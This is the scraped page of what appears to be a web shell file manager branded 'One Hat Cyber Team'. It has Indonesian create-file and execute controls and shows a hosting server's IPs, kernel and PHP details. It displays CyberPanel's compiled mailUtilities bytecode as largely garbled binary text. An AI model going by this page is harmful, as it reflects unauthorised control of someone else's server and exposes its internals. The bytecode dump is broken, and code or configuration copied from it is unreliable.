⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.74
Server IP:
104.21.16.1
Server:
Linux vmi2315822.contaboserver.net 5.15.0-134-generic #145-Ubuntu SMP Wed Feb 12 20:08:39 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.3.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
local
/
CyberCP
/
plogical
/
__pycache__
/
View File Name :
mailUtilities.cpython-310.pyc
o )36h� � @ sH d dl Z d dlZd dlZd dlZd dlmZ ej�d� d dlZej � dd� ze�� W n Y d dlZd dl Z d dlmZ d dlZd dlZd dlZd dlmZ d dlZd dlZd dlZd dlZd dlZzd dlmZmZ d d lmZm Z d d l!m"Z"m#Z# W n Y G dd� d�Z$G d d� dej%�Z&dd� Z'e(dkr�e'� dS dS )� N)�HttpResponse�/usr/local/CyberCP�DJANGO_SETTINGS_MODULE�CyberCP.settings)�CyberCPLogFileWriter)�ProcessUtilities)�Domains�EUsers)�DomainLimits�EmailLimits)�Websites�ChildDomainsc @ s� e Zd ZdZdZdZdZdZdZdZ e dd � �Ze d d� �Ze dd � �Z e dIdd��Ze dd� �Ze dd� �Ze dIdd��Ze dd� �Ze dd� �Ze dd� �Ze dd� �Ze dd � �Ze d!d"� �Ze d#d$� �Ze d%d&� �Ze d'd(� �Ze d)d*� �Ze d+d,� �Ze d-d.� �Ze d/d0� �Ze d1d2� �Ze d3d4� �Z e d5d6� �Z!e d7d8� �Z"e d9d:� �Z#e d;d<� �Z$e d=d>� �Z%e d?d@� �Z&e dAdB� �Z'e dCdD� �Z(e dEdF� �Z)e dGdH� �Z*dS )J� mailUtilitiesz#/home/cyberpanel/openDKIMInstallLogz+/home/cyberpanel/spamassassinInstallLogPathz%/home/cyberpanel/RspamdInstallLogPathz'/home/cyberpanel/RspamdUnInstallLogPathz/home/cyberpanelz*/home/cyberpanel/mailScannerInstallLogPathz/var/log/rspamd/rspamd.logc C s^ zt �d�}|�| ||� td� W d S ty. } ztj�t|�� W Y d }~d S d }~ww )N� localhostzSuccessfully sent email) �smtplib�SMTP�sendmail�print� BaseException�loggingr �writeToFile�str)�sender� receivers�message�smtpObj�msg� r �,/usr/local/CyberCP/plogical/mailUtilities.py� SendEmail. s ��zmailUtilities.SendEmailc C s� d}t j�d�s t �d� d| d }d| d }t j�|�s%t�||� d| }t|d�}|�|� |�� d}t � |� d S )Nz6/usr/local/CyberCP/install/rainloop/cyberpanel.net.inizB/usr/local/lscp/cyberpanel/rainloop/data/_data_/_default_/domains/z.iniz.jsonad { "name": "%s", "IMAP": { "host": "localhost", "port": 993, "type": 1, "timeout": 300, "shortLogin": false, "sasl": [ "SCRAM-SHA3-512", "SCRAM-SHA-512", "SCRAM-SHA-256", "SCRAM-SHA-1", "PLAIN", "LOGIN" ], "ssl": { "verify_peer": false, "verify_peer_name": false, "allow_self_signed": false, "SNI_enabled": true, "disable_compression": true, "security_level": 1 }, "use_expunge_all_on_delete": false, "fast_simple_search": true, "force_select": false, "message_all_headers": false, "message_list_limit": 10000, "search_filter": "", "disabled_capabilities": [] }, "SMTP": { "host": "localhost", "port": 587, "type": 2, "timeout": 60, "shortLogin": false, "sasl": [ "SCRAM-SHA3-512", "SCRAM-SHA-512", "SCRAM-SHA-256", "SCRAM-SHA-1", "PLAIN", "LOGIN" ], "ssl": { "verify_peer": false, "verify_peer_name": false, "allow_self_signed": false, "SNI_enabled": true, "disable_compression": true, "security_level": 1 }, "useAuth": true, "setSender": false, "usePhpMail": false, "authPlainLine": false }, "Sieve": { "host": "", "port": 4190, "type": 0, "timeout": 10, "shortLogin": false, "sasl": [ "SCRAM-SHA3-512", "SCRAM-SHA-512", "SCRAM-SHA-256", "SCRAM-SHA-1", "PLAIN", "LOGIN" ], "ssl": { "verify_peer": false, "verify_peer_name": false, "allow_self_signed": false, "SNI_enabled": true, "disable_compression": true, "security_level": 1 }, "enabled": false }, "whiteList": "" } �wz>chown -R lscpd:lscpd /usr/local/lscp/cyberpanel/rainloop/data/)�os�path�exists�makedirs�shutil�copy�open�write�closer �normalExecutioner)�domainr"